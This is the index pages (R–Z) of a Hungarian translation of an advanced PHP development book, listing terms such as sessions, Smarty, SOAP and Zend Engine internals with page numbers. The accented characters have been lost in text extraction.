PHP fejleszts felsfokon

rendszerler adatbzis 129 rendszerszint protokoll 350 replikci 419 replgp 384 requireO 227, 236 ResourceClass objektum 100 rszleges fjlok 269 reverse proxy 242 Revison Control System 194 RewriteCond 296 RewriteEngine 296 RFC 2109 375 RFC 2616 249 RFC 2617 375 RFC-k 254 riaszts 142 riaszt jelzs 142 Rich Site Summary 49 RINIT 579 RISC 516 Ritchie 10 Rivest 320 root 145 rossz INI fjl 77 rosszindulat adatok 105 rosszindulat HTML 105, 108 rosszindulatan mdostott adatok 103 ROT13 391 rvid cmkk 22 rvid kapcsolk 133 rvid lers 27 RPC 68, 303, 427 RPC tagfggvnyek 68 RSHUTDOWN 579 RSS 49, 432 rsync 214 ru_majflt 497 ru_minflt 497 ru_stime 497 ru_utime 497 Ruby 225, 523 Rudolf Flesch 177 runO 149

S, Sz s/$pattern/$sub/eo; 508 sablon 110 Sablon minta 46 sablonelszrs 123 sablonelszrk 123 sablonon belli PHP-kd 118 sablonosztly 124 sablonrendszer 116 sablonutszrs 123 sablonutszrk 123 sablonnyelv 110 sajt hibakezel 80 sajt jelzskezel 139 sajt osztlyok 260 sajt sablonrendszer 123 sajt titkost algoritmus 360 Samba 403 SPI 534, 627 SPI bemeneti szrk 640 sapi_module_struct 628 svszlessg 253, 284, 417 Schema 439 SchemaTypelnfo fellet 447 SCSS 194 segdfggvnyek 118 SELECT * 345 SELECT utasts 344 self 38 smanevek 21 sendmail 144 SEPARATE_ZVALO 564 Serendipity 227, 431, 471 serializeO fggvny 283, 316, 394 ServerRoot 112 serviceO 430 ServiceCheck objektum 149 ServiceCheckRunner osztly 150 ServiceLogger 149 session stickiness 383 session.cookie_domain 386 session.cookie_lifetime 386 session.cookie_path 386

Trgymutat

679

session.cookie_secure 386 session.gc_dividend 395 session.gc_maxlifetime paramter 395 session.gc_probability paramter 395 session.name paramter 386 session.save_path 393 session.session_name 393 session.use_only_cookies 387 session_destroy() 388 session_id fggvny 389, 392 session_set_save_handler 391 session_startO fggvny 123, 253, 387 session_write_closeO 388 set 364 set_error_handler() fggvny 80 setcookieO fggvny 262, 382 set-interest 279 setUpO 173 Seuss 177 shal 424 Shane Caraveo 450 she-bang 129 shm_get_var 278 shm_put_var 278 shmop 278 shmop fggvnyek 278 Short Description 27 short tag 22 short_tags 23 show ip route 69 showConversionO fggvny 273 sig_alarmO 143 sig_child() 152 sig_usrl() 152 SIGALRM 139, 142 SIGCHLD 139, 140 SIGHUP 139, 144 SIGINT 139 SIGKILL 139 signal 139 SignOnException kivtel 373 SIGSTOP 137

SIGSTP 137 SIGTTIN 137 SIGTTOU 137 SIGUSR1 139, 144 SIGUSR2 139, 144 sikertelen prblkozsok 357 sima szveg 49 Simple Object Access Protocol 438 SinglelP 463 Singleton 54 Singleton osztly 54 Slashdot 247 Sleepycat 271 Smalltalk 109 SmartTemplate 125 Smarty 110, 111, 117, 122 Smarty belltsi vltoz 116 Smarty kziknyv 120 Smarty_ExampleOrg 122 Smarty-kdok 113 s-maxage 250 SMOG index 188 SOAP 414, 427, 438 SOAP bortk 438 SOAP krelmek 302 SOAP_Client 443 softtabstop kapcsol 7 sorhossz 4, 7 sormutat 277 soron belli megjegyzsek 25 sorosts 275 sorostott adatok 380 sorozatszm 360 sorozatszmok 350 Source Code Control System 194 Sourceforge 247 SP_multicastO 589 SP_multigroup_multicastO 589 SPL 62 Spread 413, 581, 605 SQL 4, 8, 324 SQL lekrdezs 8

680

PHP fejleszts felsfokon

SQL92 326, 345 SQL-beszrsi tmads 107 Squid 242, 247 SRM 425 SSL munkamenetek 386 stage.example.com 208 standard error 130 standard in 130 standard input 130 standard out 130 standard output 130 Standard PHP Library 62 statO 264 statement_handler 655 static 54 static kulcssz 38 statikus bvtmnyek 548 statikus fjlok 245 statikus HTML gyorstrfjlok 295 statikus osztlyvltozk 310, 318 statikus tagfggvny 38 statikus tpusokra pl nyelvek 522 statikus tmb 56 statikus tulajdonsg 38 status_time 149 stderr 130, 131 stdin 130 stdout 130 Stein 320 Steve McConnell 231 Stillborn osztly 100 stlus 3 str_replace fggvny 509 strcmp 320 streams_filter_register() 131 string 320 strip_tags 230 stripslashesO 380 strlenO fggvny 320 strncmp fggvny 502 strndup 552 strtoupper 520

Structured Query Language 4 strukturlt lekrdeznyelv 4 substr fggvny 502 Subversion 195 SUCCESS 149 slyossgi szint 73 Sun 20, 31 sti 188, 279, 352, 358, 377, 379, 634 sti alap gyorstrak 279, 285 sti alap hitelests 353 sti alap munkamenet-kezels 386 stiadatok 627 syslog 78 System Time 468 System V 278 system.listMethods 435 system.load 428, 443 system.methodHelp 435 system.methodSignature 435 sysvshm bvtmny 278 szably alap jrars 295 szablyos kifejezs 87 szabvnyos bemenet 130 szabvnyos hibazenet 130 szabvnyos kimenet 130 szabvnyos kimeneti folyam 76 szabvnyos PHP knyvtr 62 szakosods 127 szakosodott nyelvek 127 szlak 135 szlas modell 245 szlkzpont nyelvek 135 szm 60 szmtsi jrahasznosts 305, 319 szmtott adatok trolsa 259 szmll 12, 39 szmvltozk 18 szegnyes kdolsi stlus 3 szemafor 278 szemlyes oldalak 110 szemtgyjts 121, 278, 388, 395 szemtgyjt 39, 277

Trgymutat

681

szerkezet nlkli fjlok 263 szerz neve 27 sztvlaszts 109 szimbolikus cmkk 204 szimblumok 14 szimblumtbla 14 szimmetrikus kdols 365 szimmetrikus titkost 391 szintetikus mrs 488 szintetikus mrprogram 488 szkript 101 szkriptnyelv 123 szokvnyos esemnyek 36 sztagszmlls 178 sztrtmads 354 szk keresztmetszetek 456 szupergloblis 116 szrs 107 szl 36, 135 szlosztly 37 T, Ty tbla 324 tblamsodnevek 9 tblzat 23 TABLE 125 tabstop 7 tabultorok 5 tabultorszlessg 6 tagfggvny 20, 34 tagfggvnyek hozzadsa 599 tagfggvnynevek 20, 39 tagfggvny-tlterhels 68 tags 27 takarts 137 tar 214 trkezelk 123 trolt fjlok 111 trolt msolat 120, 247 trolt vltozat 78 trstsos tmb 36, 309 tartalom rvnytelentse 273 tartalom-elllt fggvny 300

tartalomkezel rendszer 210 tartalomtmrts 253 tartomnyok 367 tvoli eljrshvs 68, 427 tvoli eljrshvsok eredmnynek trolsa 259 tvoli kiszolgl 68, 130 tvoli parancsbeszrs 230 TCP 350 TCP trak 246 TCPIPRoundRobin 463 tearDownO 173 telefonos szolgltatk 359 telefonszmok 257 teljes ler nevek 405 teljes tblapsztzs 324 teljes tbls keress 324 teljesen ellltott oldalak 259 teljesen szttertett gyorstrak 413 teljestmny 224 teljestmnyfokozs 224, 235 teljestmnyhangols 224 teljestmnymrs 455 Telnet 68 Template 46 Template objektum 124 templates_c knyvtr 113 TemplateTamer 125 terhelseloszts 383 terhelskiegyenlts 400 terjeszts 211 termszetes szmok 87 terminl 130 tervezs 221 tervezsi mintk 33, 41 test adatbzis 46 test eltag 164 TestCase 162 TestCase objektum 168 TestClass osztly 40 TestHarness 169 testreszabsi informci 121

682

PHP fejleszts felsfokon

testreszabhat kdcmkk 123 testreszabhatsg 260 tesztels 159 tesztfelttel hozzadsa 171 tesztkd kzvetlen begyazsa 166 tesztoldal 190 tesztvezrelt tervezs 176 teve jells 20 Text_Statistics 204 Text_Statistics osztly 312 Text_Word objektum 313 The Cederqvist 219 Theo Schlossnagle 464 Thomas 128 threaded model 245 thttpd 241, 407, 418 Tchy 194 ticks 140 tie() 59 Tied 59 timeout 149 tpustalaktsok 562 tpusellenrzs 52, 61, 228 tpusjelzs 52, 58, 228 tpusknyszerts 228 tpuskdols 440 tpusmegszorts 62 tpusok 60, 551 tpusok kezelse 557 tpusos kivtelek 90 tpustrkp 61 titkosts 360 titkostatlan stik 359 titkost algoritmus 360 title 432 tmpfs 216 tzsdei szolgltats 443 tbb adatbzis 209 tbbalaksg 36, 41, 47 tbbfeladatos 135 tbbkiszolgls krnyezet 211 tbbszlas alkalmazs 268

tbbszavas osztlynevek 20 tbbszavas parancs 69 tbbszavas vltoznevek 19 tbbszint stluslapok 125 tbbszrs rkls 50 tbbszrzs 384, 419, 423 tmb 60, 320 tmb stlus hozzfrs 62 tmbbejr mdszerek 62 tmbciklusok 116 tmbelemek 116 tmbkezel fggvny 65 tmbszer csomagok 216 tmeggyrts elemek 403 tmrts 253 track_errors 80 trans_sid 385 tranzitivits 526 treat_data 640, 645 trigger_errorO 79 trigger_errorO fggvny 75 Triple DES 391 Trudy Pelzer 348 true 229 try blokk 86, 101 TTD 176 tulajdonsg 34, 596 tulajdonsg-fellbrls 59 tulajdonsgokhoz val hozzfrs 58 tlterhels 56, 60, 121 tlterhelses tmads 121 tlterhelt elrfggvnyek 348 Tux 241, 407, 418 tty 130 U ub_write 535 jrapts 37, 159 jrapthetsg 222 jrarsi szablyok 298 unit 160 Unix 129, 136, 278, 411 Unix idblyegz 364

Trgymutat Unix NFS 268 Unix terminlablak 8 Unix-megfelel rendszerek 196 unlinkO fggvny 269 unpackO 478 unserializeO 394 UPDATE 22, 97 update -r 206 update utasts 202 updateO 333 uptime 428 URL 97, 105 url_rewriter.tags 387 rlapadatok 104 rlapadatok rvnyestse 87 urlencodeO fggvny 120, 379 URL-jrar 295 use strict 74 use warnings 74 User 35, 36 User Time 468 USER_AGENT 285 user_space 391 userid 327 username 432 user-navigation 279 UTC 249 utols mdosts 249 tvlasztsi tblzat 69 gyfl ltal megadott adatok 103 gyfl oldali kd 106 gyfl oldali munkamenetek 377, 378 gyfl oldali parancsnyelv 358 gyfl-kiszolgl adatforgalom 378 reshelyek 4, 8 resjrat 240 zemi kibocsts 210 zemi krnyezet 206 zenetsor 278 zleti cl program 193 zleti szoftver 193 V valgrind 485 validateO fggvny 104, 364 vllalati szoftver 193 valdi globlis vltozk 16 valdi nzettblk 421 valsgh adatkpz 462 valsznsgi megkzelts 273 vltozatkezels 194 vltozatkezel rendszer 194 vltozatkezel szoftver 194 vltozatinformcik begyjtse 361 vltoz hatkre 15 vltozbehelyettests 114 vltozk 39, 522 vltozk beszrsa 510 vltozk megosztsa 137 vltozmdosts 137 vltozmdost 120 vltozmdostk 118 vltoznevek 15 vltoznevek elrsa 74 vltoztathat fggvnymutatk 646 var utasts tpusa 27 vdekez kdols 145, 228 vdett 37 vdett tagfggvny 37 vdett vltoz 37 vgfelhasznl 77 vglegestsi zenet 199 vgrehajtsi szakasz 419 vgrehajtsi verem 85 vgrehajthatv ttel 129 vgzetes futsidej hiba 75 vgzetes hiba 49, 75, 81 vletlen adatok 494 vletlen jelszellltk 355 vletlen lekrdezsek 332 vletlenszer kirts 264 vezrlsi szerkezet 114 vezrlsi szerkezetek 9, 108

683

684

PHP fejleszts felsfokon

virtulis bolt 110 virtulis gp 516 virtulis helyi hlzat 418 ViSolve 255 visszacsatolsi cm 243 visszafel halad bejr 57 visszahvhat fggvny 39, 655 visszahvhat mvelet 36 visszajtsz 459 visszakvets 92 visszatekint fellet 155 visszatrsi rtk 135, 229 visszatrsi kd 299 visszatrsi makrk 556 vzszintes mretezs 407 VLAN 418 Vlissides 71 W waitpidO 137 WSDL 441 Web Services Description Language 441 WebAuthTestCase 190 webes alkalmazsok 100, 210 webes frtk 399 webes krnyezet 188 webes programozs 103 webes rendszer 109 webkiszolgl 112 weblap 76 Weblog osztly 48 webnaplz rendszer 430 webszolgltats-ler nyelv 441 Wez Furlong 626 Whetstone 488 while ciklus 11 Windows 129, 176, 196, 268 with-config-file-scan-dir kapcsol 218 --with-curl kapcsol 188

-with-mm kapcsol 391 WNOHANG 137, 141 Word objektum 312 Word osztly 178 write 392 WUNTRACED 137 X XI1 176 Xdebug 467 xmethods.net 302 XML 428 XML dokumentum 22 XML_RPC_Client 429 XML_RPC_Decode() 429 XML_RPC_Message 429 XML_RPC_Response 430 XML_RPC_Server 430 XML_RPC_Value 430 XML-PRPC 427 XML-RPC 414, 428 XML-RPC prbeszd 429 xmlsoap 439 XOR 76 xshtype 440 Y Yahoo! 403 Z Zak Greant 335 zrak 267 zrjelezs 23 zrols 147, 278, 388 zrolsi rendszer 195 zrolfjl 147 zrolt fjl 266 zavaros kd 22 Zend Accelerator 236, 533 Zend bvtsi API 646 Zend bvtmnyek 654 Zend Engine 236, 516, 535 Zend Engine mdostsa 646

Trgymutat

685

Zend Optimizer 239 zend_class_entry 528, 593 zend_compile 517 zend_compile_fileO 646 ZEND_DO_FCALL 526 zend_errorO 571 zend_error_cb 646 zend_execute 517, 528, 646 ZEND_FETCH_RESOURCE0 570 zend_fopen 646 ZEND_INTERNAL_FUNCTION 526 zend_module_entry 538, 572 zend_object 604 zend_op 651 zend_parse_parametersO 550 ZEND_SEND_VAL 526 ZEND_USER_FUNCTION 527 Zeus 244, 245 ZIP kd 302 zlib 254 Zmijevszki 110 zval 523, 551

You might also like